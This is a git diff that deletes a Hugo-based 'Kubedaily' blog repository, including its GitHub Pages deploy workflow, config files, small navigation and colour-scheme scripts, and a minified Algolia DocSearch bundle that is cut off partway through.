diff --git a/.DS_Store b/.DS_Store deleted file mode 100644 index d89c8f1..0000000 Binary files a/.DS_Store and /dev/null differ diff --git a/.dockerignore b/.dockerignore deleted file mode 100644 index 0d210e7..0000000 --- a/.dockerignore +++ /dev/null @@ -1,4 +0,0 @@ -# See https://docs.docker.com/engine/reference/builder/#dockerignore-file -# Put files here that you don't want copied into your bundle's invocation image -.gitignore -template.Dockerfile diff --git a/.github/workflows/hugo.yml b/.github/workflows/hugo.yml deleted file mode 100644 index a4a49c3..0000000 --- a/.github/workflows/hugo.yml +++ /dev/null @@ -1,75 +0,0 @@ -# Sample workflow for building and deploying a Hugo site to GitHub Pages -name: Deploy Hugo site to Pages - -on: - # Runs on pushes targeting the default branch - push: - branches: ["main"] - - # Allows you to run this workflow manually from the Actions tab - workflow_dispatch: - -# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages -permissions: - contents: read - pages: write - id-token: write - -# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued. -# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete. -concurrency: - group: "pages" - cancel-in-progress: false - -# Default to bash -defaults: - run: - shell: bash - -jobs: - # Build job - build: - runs-on: ubuntu-latest - env: - HUGO_VERSION: 0.108.0 - steps: - - name: Install Hugo CLI - run: | - wget -O ${{ runner.temp }}/hugo.deb https://github.com/gohugoio/hugo/releases/download/v${HUGO_VERSION}/hugo_extended_${HUGO_VERSION}_linux-amd64.deb \ - && sudo dpkg -i ${{ runner.temp }}/hugo.deb - - name: Install Dart Sass Embedded - run: sudo snap install dart-sass-embedded - - name: Checkout - uses: actions/checkout@v3 - with: - submodules: recursive - - name: Setup Pages - id: pages - uses: actions/configure-pages@v3 - - name: Install Node.js dependencies - run: "[[ -f package-lock.json || -f npm-shrinkwrap.json ]] && npm ci || true" - - name: Build with Hugo - env: - # For maximum backward compatibility with Hugo modules - HUGO_ENVIRONMENT: production - HUGO_ENV: production - run: | - hugo \ - --minify \ - --baseURL "${{ steps.pages.outputs.base_url }}/" - - name: Upload artifact - uses: actions/upload-pages-artifact@v1 - with: - path: ./public - - # Deployment job - deploy: - environment: - name: github-pages - url: ${{ steps.deployment.outputs.page_url }} - runs-on: ubuntu-latest - needs: build - steps: - - name: Deploy to GitHub Pages - id: deployment - uses: actions/deploy-pages@v1 diff --git a/.gitignore b/.gitignore deleted file mode 100644 index e08a3e2..0000000 --- a/.gitignore +++ /dev/null @@ -1 +0,0 @@ -.cnab/ diff --git a/.gitmodules b/.gitmodules deleted file mode 100644 index 89af1b0..0000000 --- a/.gitmodules +++ /dev/null @@ -1,3 +0,0 @@ -[submodule "themes/PaperMod"] - path = themes/PaperMod - url = https://github.com/adityatelange/hugo-PaperMod.git diff --git a/.hugo_build.lock b/.hugo_build.lock deleted file mode 100644 index e69de29..0000000 diff --git a/CNAME b/CNAME deleted file mode 100644 index 52248e9..0000000 --- a/CNAME +++ /dev/null @@ -1 +0,0 @@ -https://kubedaily.com \ No newline at end of file diff --git a/Hugo.gitignore b/Hugo.gitignore deleted file mode 100644 index 12bdaa0..0000000 --- a/Hugo.gitignore +++ /dev/null @@ -1,13 +0,0 @@ -# Generated files by hugo -/public/ -/resources/_gen/ -/assets/jsconfig.json -hugo_stats.json -.DS_Store -# Executable may be added to repository -hugo.exe -hugo.darwin -hugo.linux -.DS_Store -# Temporary lock file while building -/.hugo_build.lock \ No newline at end of file diff --git a/README.md b/README.md deleted file mode 100644 index 82d780f..0000000 --- a/README.md +++ /dev/null @@ -1 +0,0 @@ -Kubedaily \ No newline at end of file diff --git a/assets/.DS_Store b/assets/.DS_Store deleted file mode 100644 index ba3b77f..0000000 Binary files a/assets/.DS_Store and /dev/null differ diff --git a/assets/js/component/article-nav.js b/assets/js/component/article-nav.js deleted file mode 100644 index eccd246..0000000 --- a/assets/js/component/article-nav.js +++ /dev/null @@ -1,50 +0,0 @@ -const body = document.body; - -const btnArticleNavMenu = document.querySelector("#article-nav-menu-btn") -if (btnArticleNavMenu) { - btnArticleNavMenu.addEventListener('click', function () { - body.classList.add('offcanvas-sidebar-on') - }); -} - -const btnArticleNavToc = document.querySelector("#article-nav-toc-btn") -if (btnArticleNavToc) { - btnArticleNavToc.addEventListener('click', function () { - body.classList.add('offcanvas-toc-on') - }); -} - -const btnCloseArticleNavMenu = document.querySelector("#sidebar .btn-close") -if (btnCloseArticleNavMenu) { - btnCloseArticleNavMenu.addEventListener('click', function () { - body.classList.remove('offcanvas-sidebar-on') - }); -} - -const btnCloseArticleNavToc = document.querySelector("#toc .btn-close") -if (btnCloseArticleNavToc) { - btnCloseArticleNavToc.addEventListener('click', function () { - body.classList.remove('offcanvas-toc-on') - }); - - const tocLinks = document.querySelectorAll("#toc ul a"); - tocLinks.forEach(link => { - link.addEventListener('click', function () { - body.classList.remove('offcanvas-toc-on') - }); - }); -} - -body.addEventListener('click', e => { - const isBtnArticleNavMenu = e.target.closest('#article-nav-menu-btn'); - const isSidebar = e.target.closest('#sidebar'); - if (!isBtnArticleNavMenu && !isSidebar && body.classList.contains('offcanvas-sidebar-on')) { - body.classList.remove('offcanvas-sidebar-on'); - } - - const isBtnArticleNavToc = e.target.closest('#article-nav-toc-btn'); - const toc = e.target.closest('#toc'); - if (!isBtnArticleNavToc && !toc && body.classList.contains('offcanvas-toc-on')) { - body.classList.remove('offcanvas-toc-on'); - } -}); \ No newline at end of file diff --git a/assets/js/component/color-preference.js b/assets/js/component/color-preference.js deleted file mode 100644 index b3c7b07..0000000 --- a/assets/js/component/color-preference.js +++ /dev/null @@ -1,47 +0,0 @@ -const lsKeyColorPreference = 'color-preference' -const lsKeyColorPreferenceDarkVariant = 'color-preference-dark-variant' - -const getColorPreference = () => { - let lastUsedColorPreference = localStorage.getItem(lsKeyColorPreference) - if (lastUsedColorPreference !== null) - return lastUsedColorPreference - else - return window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light' -} - -let colorPreference = getColorPreference() -document.firstElementChild.setAttribute('data-color', colorPreference) - -const getColorPreferenceDarkVariant = () => { - let lastUsedColorPreferenceDarkVariant = localStorage.getItem(lsKeyColorPreferenceDarkVariant) - return lastUsedColorPreferenceDarkVariant !== null ? lastUsedColorPreferenceDarkVariant : 'dark' -} - -let colorPreferenceDarkVariant = getColorPreferenceDarkVariant() - -let colorSchemes = document.querySelectorAll('.color-scheme') -colorSchemes.forEach(el => { - el.addEventListener('click', function () { - let newColorPreference = el.dataset.value - if (newColorPreference !== colorPreference) { - colorPreference = newColorPreference - setColorPreference() - - if (newColorPreference === 'dark' || newColorPreference === 'night') { - colorPreferenceDarkVariant = newColorPreference - localStorage.setItem(lsKeyColorPreferenceDarkVariant, colorPreferenceDarkVariant) - } - } - }) -}); - -const setColorPreference = () => { - localStorage.setItem(lsKeyColorPreference, colorPreference) - document.firstElementChild.setAttribute('data-color', colorPreference) -} - -window.matchMedia('(prefers-color-scheme: dark)') - .addEventListener('change', ({matches: isDark}) => { - colorPreference = isDark ? colorPreferenceDarkVariant : 'light' - setColorPreference() - }) diff --git a/assets/js/component/docsearch.min.js b/assets/js/component/docsearch.min.js deleted file mode 100644 index 9a7413d..0000000 --- a/assets/js/component/docsearch.min.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! @docsearch/js 3.2.0 | MIT License | © Algolia, Inc. and contributors | https://docsearch.algolia.com | https://cdn.jsdelivr.net/npm/@docsearch/js@3 */ -!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e||self).docsearch=t()}(this,(function(){"use strict";function e(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function t(t){for(var n=1;n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function i(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,c=[],i=!0,a=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(c.push(r.value),!t||c.length!==t);i=!0);}catch(e){a=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(a)throw o}}return c}(e,t)||u(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function a(e){return function(e){if(Array.isArray(e))return l(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||u(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function u(e,t){if(e){if("string"==typeof e)return l(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?l(e,t):void 0}}function l(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n3)for(n=[n],c=3;c0?O(m.type,m.props,m.key,null,m.__v):m)){if(m.__=n,m.__b=n.__b+1,null===(p=b[s])||p&&m.key==p.key&&m.type===p.type)b[s]=void 0;else for(f=0;f3)for(n=[n],c=3;c=n.__.length&&n.__.push({}),n.__[e]}function ne(e){return $=1,re(pe,e)}function re(e,t,n){var r=te(W++,2);return r.t=e,r.__c||(r.__=[n?n(t):pe(void 0,t),function(e){var t=r.t(r.__[0],e);r.__[0]!==t&&(r.__=[t,r.__[1]],r.__c.setState({}))}],r.__c=K),r.__}function oe(e,t){var n=te(W++,3);!s.__s&&fe(n.__H,t)&&(n.__=e,n.__H=t,K.__H.__h.push(n))}function ce(e,t){var n=te(W++,4);!s.__s&&fe(n.__H,t)&&(n.__=e,n.__H=t,K.__h.push(n))}function ie(e,t){var n=te(W++,7);return fe(n.__H,t)&&(n.__=e(),n.__H=t,n.__h=e),n.__}function ae(){Q.forEach((function(e){if(e.__P)try{e.__H.__h.forEach(le),e.__H.__h.forEach(se),e.__H.__h=[]}catch(t){e.__H.__h=[],s.__e(t,e.__v)}})),Q=[]}s.__b=function(e){K=null,Y&&Y(e)},s.__r=function(e){G&&G(e),W=0;var t=(K=e.__c).__H;t&&(t.__h.forEach(le),t.__h.forEach(se),t.__h=[])},s.diffed=function(e){Z&&Z(e);var t=e.__c;t&&t.__H&&t.__H.__h.length&&(1!==Q.push(t)&&J===s.requestAnimationFrame||((J=s.requestAnimationFrame)||function(e){var t,n=function(){clearTimeout(r),ue&&cancelAnimationFrame(t),setTimeout(e)},r=setTimeout(n,100);ue&&(t=requestAnimationFrame(n))})(ae)),K=void 0},s.__c=function(e,t){t.some((function(e){try{e.__h.forEach(le),e.__h=e.__h.filter((function(e){return!e.__||se(e)}))}catch(n){t.some((function(e){e.__h&&(e.__h=[])})),t=[],s.__e(n,e.__v)}})),X&&X(e,t)},s.unmount=function(e){ee&&ee(e);var t=e.__c;if(t&&t.__H)try{t.__H.__.forEach(le)}catch(e){s.__e(e,t.__v)}};var ue="function"==typeof requestAnimationFrame;function le(e){var t=K;"function"==typeof e.__c&&e.__c(),K=t}function se(e){var t=K;e.__c=e.__(),K=t}function fe(e,t){return!e||e.length!==t.length||t.some((function(t,n){return t!==e[n]}))}function pe(e,t){return"function"==typeof t?t(e):t}function me(e,t){for(var n in t)e[n]=t[n];return e}function de(e,t){for(var n in e)if("__source"!==n&&!(n in t))return!0;for(var r in t)if("__source"!==r&&e[r]!==t[r])return!0;return!1}function he(e){this.props=e}(he.prototype=new E).isPureReactComponent=!0,he.prototype.shouldComponentUpdate=function(e,t){return de(this.props,e)||de(this.state,t)};var ve=s.__b;s.__b=function(e){e.type&&e.type.__f&&e.ref&&(e.props.ref=e.ref,e.ref=null),ve&&ve(e)};var ye="undefined"!=typeof Symbol&&Symbol.for&&Symbol.for("react.forward_ref")||3911;var _e=function(e,t){return null==e?null:C(C(e).map(t))},be={map:_e,forEach:_e,count:function(e){return e?C(e).length:0},only:function(e){var t=C(e);if(1!==t.length)throw"Children.only";return t[0]},toArray:C},ge=s.__e;function Oe(){this.__u=0,this.t=null,this.__b=null}function Se(e){var t=e.__.__c;return t&&t.__e&&t.__e(e)}function Ee(){this.u=null,this.o=null}s.__e=function(e,t,n){if(e.then)for(var r,o=t;o=o.__;)if((r=o.__c)&&r.__c)return null==t.__e&&(t.__e=n.__e,t.__k=n.__k),r.__c(e,t);ge(e,t,n)},(Oe.prototype=new E).__c=function(e,t){var n=t.__c,r=this;null==r.t&&(r.t=[]),r.t.push(n);var o=Se(r.__v),c=!1,i=function(){c||(c=!0,n.componentWillUnmount=n.__c,o?o(a):a())};n.__c=n.componentWillUnmount,n.componentWillUnmount=function(){i(),n.__c&&n.__c()};var a=function(){if(!--r.__u){if(r.state.__e){var e=r.state.__e;r.__v.__k[0]=function e(t,n,r){return t&&(t.__v=null,t.__k=t.__k&&t.__k.map((function(t){return e(t,n,r)})),t.__c&&t.__c.__P===n&&(t.__e&&r.insertBefore(t.__e,t.__d),t.__c.__e=!0,t.__c.__P=r)),t}(e,e.__c.__P,e.__c.__O)}var t;for(r.setState({__e:r.__b=null});t=r.t.pop();)t.forceUpdate()}},u=!0===t.__h;r.__u++||u||r.setState({__e:r.__b=r.__v.__k[0]}),e.then(i,i)},Oe.prototype.componentWillUnmount=function(){this.t=[]},Oe.prototype.render=function(e,t){if(this.__b){if(this.__v.__k){var n=document.createElement("div"),r=this.__v.__k[0].__c;this.__v.__k[0]=function e(t,n,r){return t&&(t.__c&&t.__c.__H&&(t.__c.__H.__.forEach((function(e){"function"==typeof e.__c&&e.__c()})),t.__c.__H=null),null!=(t=me({},t)).__c&&(t.__c.__P===r&&(t.__c.__P=n),t.__c=null),t.__k=t.__k&&t.__k.map((function(t){return e(t,n,r)}))),t}(this.__b,n,r.__O=r.__P)}this.__b=null}var o=t.__e&&g(S,null,e.fallback);return o&&(o.__h=null),[g(S,null,t.__e?null:e.children),o]};var we=function(e,t,n){if(++n[1]===n[0]&&e.o.delete(t),e.props.revealOrder&&("t"!==e.props.revealOrder[0]||!e.o.size))for(n=e.u;n;){for(;n.length>3;)n.pop()();if(n[1]>>1,1),t.i.removeChild(e)}}),B(g(je,{context:t.context},e.__v),t.l)):t.l&&t.componentWillUnmount()}function Ie(e,t){return g(Pe,{__v:e,i:t})}(Ee.prototype=new E).__e=function(e){var t=this,n=Se(t.__v),r=t.o.get(e);return r[0]++,function(o){var c=function(){t.props.revealOrder?(r.push(o),we(t,e,r)):o()};n?n(c):c()}},Ee.prototype.render=function(e){this.u=null,this.o=new Map;var t=C(e.children);e.revealOrder&&"b"===e.revealOrder[0]&&t.reverse();for(var n=t.length;n--;)this.o.set(t[n],this.u=[1,0,this.u]);return e.children},Ee.prototype.componentDidUpdate=Ee.prototype.componentDidMount=function(){var e=this;this.o.forEach((function(t,n){we(e,n,t)}))};var ke="undefined"!=typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,De=/^(?:accent|alignment|arabic|baseline|cap|clip(?!PathU)|color|fill|flood|font|glyph(?!R)|horiz|marker(?!H|W|U)|overline|paint|stop|strikethrough|stroke|text(?!L)|underline|unicode|units|v|vector|vert|word|writing|x(?!C))[A-Z]/,Ce=function(e){return("undefined"!=typeof Symbol&&"symbol"==n(Symbol())?/fil|che|rad/i:/fil|che|ra/i).test(e)};function Ae(e,t,n){return null==t.__k&&(t.textContent=""),B(e,t),"function"==typeof n&&n(),e?e.__c:null}E.prototype.isReactComponent={},["componentWillMount","componentWillReceiveProps","componentWillUpdate"].forEach((function(e){Object.defineProperty(E.prototype,e,{configurable:!0,get:function(){return this["UNSAFE_"+e]},set:function(t){Object.defineProperty(this,e,{configurable:!0,writable:!0,value:t})}})}));var xe=s.event;function Ne(){}function Re(){return this.cancelBubble}function Te(){return this.defaultPrevented}s.event=function(e){return xe&&(e=xe(e)),e.persist=Ne,e.isPropagationStopped=Re,e.isDefaultPrevented=Te,e.nativeEvent=e};var Le,qe={configurable:!0,get:function(){return this.class}},Me=s.vnode;s.vnode=function(e){var t=e.type,n=e.props,r=n;if("string"==typeof t){for(var o in r={},n){var c=n[o];"value"===o&&"defaultValue"in n&&null==c||("defaultValue"===o&&"value"in n&&null==n.value?o="value":"download"===o&&!0===c?c="":/ondoubleclick/i.test(o)?o="ondblclick":/^onchange(textarea|input)/i.test(o+t)&&!Ce(n.type)?o="oninput":/^on(Ani|Tra|Tou|BeforeInp)/.test(o)?o=o.toLowerCase():De.test(o)?o=o.replace(/[A-Z0-9]/,"-$&").toLowerCase():null===c&&(c=void 0),r[o]=c)}"select"==t&&r.multiple&&Array.isArray(r.value)&&(r.value=C(n.children).forEach((function(e){e.props.selected=-1!=r.value.indexOf(e.props.value)}))),"select"==t&&null!=r.defaultValue&&(r.value=C(n.children).forEach((function(e){e.props.selected=r.multiple?-1!=r.defaultValue.indexOf(e.props.value):r.defaultValue==e.props.value}))),e.props=r}t&&n.class!=n.className&&(qe.enumerable="className"in n,null!=n.className&&(r.class=n.className),Object.defineProperty(r,"className",qe)),e.$$typeof=ke,Me&&Me(e)};var He=s.__r;s.__r=function(e){He&&He(e),Le=e.__c};var Ue={ReactCurrentDispatcher:{current:{readContext:function(e){return Le.__n[e.__c].props.value}}}};"object"==("undefined"==typeof performance?"undefined":n(performance))&&"function"==typeof performance.now&&performance.now.bind(performance);function Fe(e){return!!e&&e.$$typeof===ke}var Be={useState:ne,useReducer:re,useEffect:oe,useLayoutEffect:ce,useRef:function(e){return $=5,ie((function(){return{current:e}}),[])},useImperativeHandle:function(e,t,n){$=6,ce((function(){"function"==typeof e?e(t()):e&&(e.current=t())}),null==n?n:n.concat(e))},useMemo:ie,useCallback:function(e,t){return $=8,ie((function(){return e}),t)},useContext:function(e){var t=K.context[e.__c],n=te(W++,9);return n.__c=e,t?(null==n.__&&(n.__=!0,t.sub(K)),t.props.value):e.__},useDebugValue:function(e,t){s.useDebugValue&&s.useDebugValue(t?t(e):e)},version:"16.8.0",Children:be,render:Ae,hydrate:function(e,t,n){return V(e,t),"function"==typeof n&&n(),e?e.__c:null},unmountComponentAtNode:function(e){return!!e.__k&&(B(null,e),!0)},createPortal:Ie,createElement:g,createContext:function(e,t){var n={__c:t="__cC"+d++,__:e,Consumer:function(e,t){return e.children(t)},Provider:function(e){var n,r;return this.getChildContext||(n=[],(r={})[t]=this,this.getChildContext=function(){return r},this.shouldComponentUpdate=function(e){this.props.value!==e.value&&n.some(P)},this.sub=function(e){n.push(e);var t=e.componentWillUnmount;e.componentWillUnmount=function(){n.splice(n.indexOf(e),1),t&&t.call(e)}}),e.children}};return n.Provider.__=n.Consumer.contextType=n},createFactory:function(e){return g.bind(null,e)},cloneElement:function(e){return Fe(e)?z.apply(null,arguments):e},createRef:function(){return{current:null}},Fragment:S,isValidElement:Fe,findDOMNode:function(e){return e&&(e.base||1===e.nodeType&&e)||null},Component:E,PureComponent:he,memo:function(e,t){function n(e){var n=this.props.ref,r=n==e.ref;return!r&&n&&(n.call?n(null):n.current=null),t?!t(this.props,e)||!r:de(this.props,e)}function r(t){return this.shouldComponentUpdate=n,g(e,t)}return r.displayName="Memo("+(e.displayName||e.name)+")",r.prototype.isReactComponent=!0,r.__f=!0,r},forwardRef:function(e){function t(t,r){var o=me({},t);return delete o.ref,e(o,(r=t.ref||r)&&("object"!=n(r)||"current"in r)?r:null)}return t.$$typeof=ye,t.render=t,t.prototype.isReactComponent=t.__f=!0,t.displayName="ForwardRef("+(e.displayName||e.name)+")",t},unstable_batchedUpdates:function(e,t){return e(t)},StrictMode:S,Suspense:Oe,SuspenseList:Ee,lazy:function(e){var t,n,r;function o(o){if(t||(t=e()).then((function(e){n=e.default||e}),(function(e){r=e})),r)throw r;if(!n)throw t;return g(n,o)}return o.displayName="Lazy",o.__f=!0,o},__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:Ue};function Ve(){return Be.createElement("svg",{width:"15",height:"15",className:"DocSearch-Control-Key-Icon"},Be.createElement("path",{d:"M4.505 4.496h2M5.505 5.496v5M8.216 4.496l.055 5.993M10 7.5c.333.333.5.667.5 1v2M12.326 4.5v5.996M8.384 4.496c1.674 0 2.116 0 2.116 1.5s-.442 1.5-2.116 1.5M3.205 9.303c-.09.448-.277 1.21-1.241 1.203C1 10.5.5 9.513.5 8V7c0-1.57.5-2.5 1.464-2.494.964.006 1.134.598 1.24 1.342M12.553 10.5h1.953",strokeWidth:"1.2",stroke:"currentColor",fill:"none",strokeLinecap:"square"}))}function ze(){return Be.createElement("i",{className:"icon icon-search DocSearch-Search-Icon"})}var We=["translations"];function Ke(){return Ke=Object.assign||function(e){for(var t=1;te.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var Ye="Ctrl";var Ge=Be.forwardRef((function(e,t){var n=e.translations,r=void 0===n?{}:n,o=Qe(e,We),c=r.buttonText,i=void 0===c?"Search":c,a=r.buttonAriaLabel,u=void 0===a?"Search":a,l=Je(ne(null),2),s=l[0],f=l[1];return oe((function(){"undefined"!=typeof navigator&&(/(Mac|iPhone|iPod|iPad)/i.test(navigator.platform)?f("⌘"):f(Ye))}),[]),Be.createElement("button",Ke({type:"button",className:"DocSearch DocSearch-Button","aria-label":u},o,{ref:t}),Be.createElement("span",{className:"DocSearch-Button-Container"},Be.createElement(ze,null),Be.createElement("span",{className:"DocSearch-Button-Placeholder"},i)),Be.createElement("span",{className:"DocSearch-Button-Keys"},null!==s&&Be.createElement(Be.Fragment,null,Be.createElement("kbd",{className:"DocSearch-Button-Key"},s===Ye?Be.createElement(Ve,null):s),Be.createElement("kbd",{className:"DocSearch-Button-Key"},"K"))))}));function Ze(e){return e.reduce((function(e,t){return e.concat(t)}),[])}var Xe=0;function et(e){return 0===e.collections.length?0:e.collections.reduce((function(e,t){return e+t.items.length}),0)}var tt=function(){},nt=[{segment:"autocomplete-core",version:"1.7.1"}];function rt(e,t){var n=t;return{then:function(t,r){return rt(e.then(ct(t,n,e),ct(r,n,e)),n)},catch:function(t){return rt(e.catch(ct(t,n,e)),n)},finally:function(t){return t&&n.onCancelList.push(t),rt(e.finally(ct(t&&function(){return n.onCancelList=[],t()},n,e)),n)},cancel:function(){n.isCanceled=!0;var e=n.onCancelList;n.onCancelList=[],e.forEach((function(e){e()}))},isCanceled:function(){return!0===n.isCanceled}}}function ot(e){return rt(e,{isCanceled:!1,onCancelList:[]})}function ct(e,t,n){return e?function(n){return t.isCanceled?n:e(n)}:n}function it(e,t,n,r){if(!n)return null;if(e<0&&(null===t||null!==r&&0===t))return n+e;var o=(null===t?-1:t)+e;return o<=-1||o>=n?null===r?null:0:o}function at(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function ut(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function lt(e,t){var n=[];return Promise.resolve(e(t)).then((function(e){return Promise.all(e.filter((function(e){return Boolean(e)})).map((function(e){if(e.sourceId,n.includes(e.sourceId))throw new Error("[Autocomplete] The `sourceId` ".concat(JSON.stringify(e.sourceId)," is not unique."));n.push(e.sourceId);var t=function(e){for(var t=1;te.length)&&(t=e.length);for(var n=0,r=new Array(t);ne.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var Vt,zt,Wt,Kt=null,Jt=(Vt=-1,zt=-1,Wt=void 0,function(e){var t=++Vt;return Promise.resolve(e).then((function(e){return Wt&&t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var en=["props","refresh","store"],tn=["inputElement","formElement","panelElement"],nn=["inputElement"],rn=["inputElement","maxLength"],on=["item","source"];function cn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function an(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function sn(e){var t=e.props,n=e.refresh,r=e.store,o=ln(e,en);return{getEnvironmentProps:function(e){var n=e.inputElement,o=e.formElement,c=e.panelElement;function i(e){!r.getState().isOpen&&r.pendingRequests.isEmpty()||e.target===n||!1===[o,c].some((function(t){return n=t,r=e.target,n===r||n.contains(r);var n,r}))&&(r.dispatch("blur",null),t.debug||r.pendingRequests.cancelAll())}return an({onTouchStart:i,onMouseDown:i,onTouchMove:function(e){!1!==r.getState().isOpen&&n===t.environment.document.activeElement&&e.target!==n&&n.blur()}},ln(e,tn))},getRootProps:function(e){return an({role:"combobox","aria-expanded":r.getState().isOpen,"aria-haspopup":"listbox","aria-owns":r.getState().isOpen?"".concat(t.id,"-list"):void 0,"aria-labelledby":"".concat(t.id,"-label")},e)},getFormProps:function(e){e.inputElement;return an({action:"",noValidate:!0,role:"search",onSubmit:function(c){var i;c.preventDefault(),t.onSubmit(an({event:c,refresh:n,state:r.getState()},o)),r.dispatch("submit",null),null===(i=e.inputElement)||void 0===i||i.blur()},onReset:function(c){var i;c.preventDefault(),t.onReset(an({event:c,refresh:n,state:r.getState()},o)),r.dispatch("reset",null),null===(i=e.inputElement)||void 0===i||i.focus()}},ln(e,nn))},getLabelProps:function(e){return an({htmlFor:"".concat(t.id,"-input"),id:"".concat(t.id,"-label")},e)},getInputProps:function(e){var c;function i(e){(t.openOnFocus||Boolean(r.getState().query))&&$t(an({event:e,props:t,query:r.getState().completion||r.getState().query,refresh:n,store:r},o)),r.dispatch("focus",null)}var a=e||{},u=(a.inputElement,a.maxLength),l=void 0===u?512:u,s=ln(a,rn),f=st(r.getState()),p=function(e){return Boolean(e&&e.match(ft))}((null===(c=t.environment.navigator)||void 0===c?void 0:c.userAgent)||""),m=null!=f&&f.itemUrl&&!p?"go":"search";return an({"aria-autocomplete":"both","aria-activedescendant":r.getState().isOpen&&null!==r.getState().activeItemId?"".concat(t.id,"-item-").concat(r.getState().activeItemId):void 0,"aria-controls":r.getState().isOpen?"".concat(t.id,"-list"):void 0,"aria-labelledby":"".concat(t.id,"-label"),value:r.getState().completion||r.getState().query,id:"".concat(t.id,"-input"),autoComplete:"off",autoCorrect:"off",autoCapitalize:"off",enterKeyHint:m,spellCheck:"false",autoFocus:t.autoFocus,placeholder:t.placeholder,maxLength:l,type:"search",onChange:function(e){$t(an({event:e,props:t,query:e.currentTarget.value.slice(0,l),refresh:n,store:r},o))},onKeyDown:function(e){!function(e){var t=e.event,n=e.props,r=e.refresh,o=e.store,c=Xt(e,Qt);if("ArrowUp"===t.key||"ArrowDown"===t.key){var i=function(){var e=n.environment.document.getElementById("".concat(n.id,"-item-").concat(o.getState().activeItemId));e&&(e.scrollIntoViewIfNeeded?e.scrollIntoViewIfNeeded(!1):e.scrollIntoView(!1))},a=function(){var e=st(o.getState());if(null!==o.getState().activeItemId&&e){var n=e.item,i=e.itemInputValue,a=e.itemUrl,u=e.source;u.onActive(Gt({event:t,item:n,itemInputValue:i,itemUrl:a,refresh:r,source:u,state:o.getState()},c))}};t.preventDefault(),!1===o.getState().isOpen&&(n.openOnFocus||Boolean(o.getState().query))?$t(Gt({event:t,props:n,query:o.getState().query,refresh:r,store:o},c)).then((function(){o.dispatch(t.key,{nextActiveItemId:n.defaultActiveItemId}),a(),setTimeout(i,0)})):(o.dispatch(t.key,{}),a(),i())}else if("Escape"===t.key)t.preventDefault(),o.dispatch(t.key,null),o.pendingRequests.cancelAll();else if("Tab"===t.key)o.dispatch("blur",null),o.pendingRequests.cancelAll();else if("Enter"===t.key){if(null===o.getState().activeItemId||o.getState().collections.every((function(e){return 0===e.items.length})))return void(n.debug||o.pendingRequests.cancelAll());t.preventDefault();var u=st(o.getState()),l=u.item,s=u.itemInputValue,f=u.itemUrl,p=u.source;if(t.metaKey||t.ctrlKey)void 0!==f&&(p.onSelect(Gt({event:t,item:l,itemInputValue:s,itemUrl:f,refresh:r,source:p,state:o.getState()},c)),n.navigator.navigateNewTab({itemUrl:f,item:l,state:o.getState()}));else if(t.shiftKey)void 0!==f&&(p.onSelect(Gt({event:t,item:l,itemInputValue:s,itemUrl:f,refresh:r,source:p,state:o.getState()},c)),n.navigator.navigateNewWindow({itemUrl:f,item:l,state:o.getState()}));else if(t.altKey);else{if(void 0!==f)return p.onSelect(Gt({event:t,item:l,itemInputValue:s,itemUrl:f,refresh:r,source:p,state:o.getState()},c)),void 